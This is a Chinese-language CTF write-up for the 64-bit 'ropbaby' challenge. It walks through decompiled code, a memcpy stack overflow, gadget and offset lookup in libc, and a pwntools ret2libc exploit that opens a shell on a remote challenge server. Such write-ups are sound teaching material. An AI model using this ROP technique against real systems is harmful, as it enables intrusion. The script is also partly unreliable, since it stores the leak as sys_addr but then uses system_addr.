之前去成都“参观”天府杯导致感冒,颓废了好几天。。
先看一下文件类型和程序保护
开了NX和PIE,栈不可执行和地址随机化,看来不能用shellcode了,就像题目提示的用ROP。(FORTIFY说是会对栈溢出进行保护,但是这里感觉没有体现出来)
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
signed int v3; // eax
unsigned __int64 v4; // r14
int v5; // er13
size_t v6; // r12
int v7; // eax
void *handle; // [rsp+8h] [rbp-448h]
char nptr[1088]; // [rsp+10h] [rbp-440h]
__int64 savedregs; // [rsp+450h] [rbp+0h]
setvbuf(stdout, 0LL, 2, 0LL);
signal(14, handler);
alarm(0x3Cu);
puts("\nWelcome to an easy Return Oriented Programming challenge...");
puts("Menu:");
handle = dlopen("libc.so.6", 1);
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
sub_BF7();
if ( !sub_B9A((__int64)nptr, 1024LL) )
{
puts("Bad choice.");
return 0LL;
}
v3 = strtol(nptr, 0LL, 10);
if ( v3 != 2 )
break;
__printf_chk(1LL, (__int64)"Enter symbol: ");
if ( sub_B9A((__int64)nptr, 64LL) )
{
dlsym(handle, nptr);
__printf_chk(1LL, (__int64)"Symbol %s: 0x%016llX\n");
}
else
{
puts("Bad symbol.");
}
}
if ( v3 > 2 )
break;
if ( v3 != 1 )
goto LABEL_24;
__printf_chk(1LL, (__int64)"libc.so.6: 0x%016llX\n");
}
if ( v3 != 3 )
break;
__printf_chk(1LL, (__int64)"Enter bytes to send (max 1024): ");
sub_B9A((__int64)nptr, 1024LL);
v4 = (signed int)strtol(nptr, 0LL, 10);
if ( v4 - 1 > 0x3FF )
{
puts("Invalid amount.");
}
else
{
if ( v4 )
{
v5 = 0;
v6 = 0LL;
while ( 1 )
{
v7 = _IO_getc(stdin);
if ( v7 == -1 )
break;
nptr[v6] = v7;
v6 = ++v5;
if ( v4 <= v5 )
goto LABEL_22;
}
v6 = v5 + 1;
}
else
{
v6 = 0LL;
}
LABEL_22:
memcpy(&savedregs, nptr, v6);//程序溢出点
}
}
if ( v3 == 4 )
break;
LABEL_24:
puts("Bad choice.");
}
dlclose(handle);
puts("Exiting.");
return 0LL;
}
看完一遍ropbaby的函数结合运行程序,发现了 memcpy(&savedregs, nptr, v6),savedregs是_int64型,只有8字节的空间,而nptr有1088字节,这就造成了栈溢出。
通过运行程序可以了解到这个程序提供了三个功能:
1、得到libc基地址(感觉是假的,并没有用,还是我有什么地方没理解对吗?)
2、得到某个函数的地址(通过这个选项可以得到‘system’的地址,并且通过libc文件内system的偏移得到真正的libc加载的基地址)
3、输入你的payload的长度,然后把payload赋值给savedregs
知道这几个功能,我们就能大致构造payload了,通过栈溢出执行system('/bin/sh')
32位的程序用的是栈内的参数,而64位程序则优先用rdi,rsi,rdx,rcx,r8,r9这六个寄存器来传参,所以为了给system函数传入‘/bin/sh’,就需要找到一个pop rdi;ret的gadget(ROP链就是用各种程序中已有的小程序gadget串在一起实现自己想要的功能,这一个题目里只需要用到一个参数,所以只用到一个gadget——pop rdi;ret)
可以用ROPgadget来找到这一个gadget
ROPgadget --binary libc-2.23.so --only "pop|ret"
//只展现一小段结果
0x0000000000020256 : pop rdi ; pop rbp ; ret
0x0000000000021102 : pop rdi ; ret //这一段就是我们要的gadget,偏移量是0x21102
0x0000000000067499 : pop rdi ; ret 0xffff
接着就是要向栈内再存放一个/bin/sh的地址,可以在IDA里查找字符串,也可以直接用strings
strings -tx libc-2.23.so |grep '/bin/sh'
18cd17 /bin/sh //偏移量是18cd17
为了计算libc的基地址,需要system的偏移量
objdump -T libc-2.23.so |grep 'system'
00000000001387d0 g DF .text 0000000000000046 GLIBC_2.2.5 svcerr_systemerr
0000000000045390 g DF .text 000000000000002d GLIBC_PRIVATE __libc_system
0000000000045390 w DF .text 000000000000002d GLIBC_2.2.5 system
得到system偏移量时0x45390
至今为止我们得到的都是libc内的偏移量,而不是实际函数或者字符串所在的地址,实际地址是libc在程序加载时的基地址+偏移量。
所以可以写EXP了
from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')#32位还是64位的debug模式似乎没什么差别
target= remote('106.2.25.7',8004)
#target=process('./ropbaby')#本地测试
target.recvuntil(':')
target.recvuntil(':')
target.sendline('2')
target.recvuntil(':')
target.sendline('system')
target.recvuntil(':')
sys_addr=int(target.recv(19),16)#这里":"之后还有一个空格,我一开始只接收18个字符,让我找了半小时
#bug。。。(空格+'0x'+16位地址=19)
print "system_addr="+hex(system_addr)
base_addr=system_addr-0x45390 #libc加载的基地址
print "base_addr="+hex(base_addr)
bin_addr=0x18cd17
bin_addr=base_addr+bin_addr
print "bin_addr="+hex(bin_addr)
gaget_addr=0x21102
gaget_addr=base_addr+gaget_addr
print "gaget_addr="+hex(gaget_addr)
payload = 'a'*8 + p64(gaget_addr) + p64(bin_addr) + p64(system_addr)
print target.recvuntil(':')
print "-------------------------------------------------------------"
target.sendline("3")
target.recvuntil(':')
target.sendline('32')
print payload
target.sendline(payload)
target.interactive()
最后flag在home目录下
参考了http://wzt.ac.cn/2018/04/02/ROP/ 这篇讲了很多基础